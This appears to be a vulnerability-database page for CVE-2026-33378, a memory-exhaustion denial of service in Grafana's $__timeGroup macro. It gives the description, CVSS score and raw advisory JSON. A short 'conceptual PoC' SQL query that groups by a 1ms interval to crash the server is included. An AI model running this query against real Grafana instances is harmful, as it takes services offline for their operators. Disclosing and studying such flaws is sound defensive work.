Security Vulnerability Report
中文
CVE-2026-33378 CVSS 6.5 MEDIUM

CVE-2026-33378

Published: 2026-05-13 20:16:21
Last Modified: 2026-05-14 16:21:03

Description

Using the $__timeGroup macro, one can achieve an OOM by overloading the server. This requires a SQL datasource. If the server is set up to auto-restart, the impact is minimal or non-existent, as the attack can take upwards of half an hour to crash the server.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Grafana (具体版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
-- Conceptual PoC demonstrating the usage of $__timeGroup -- Attackers craft queries with specific intervals to trigger OOM SELECT $__timeGroup(time, '1ms') as time, count(*) as value FROM your_table WHERE $__timeFilter(time) GROUP BY time ORDER BY time

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33378", "sourceIdentifier": "[email protected]", "published": "2026-05-13T20:16:20.583", "lastModified": "2026-05-14T16:21:02.930", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Using the $__timeGroup macro, one can achieve an OOM by overloading the server. This requires a SQL datasource. If the server is set up to auto-restart, the impact is minimal or non-existent, as the attack can take upwards of half an hour to crash the server."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://grafana.com/security/security-advisories/cve-2026-33378", "source": "[email protected]"}]}}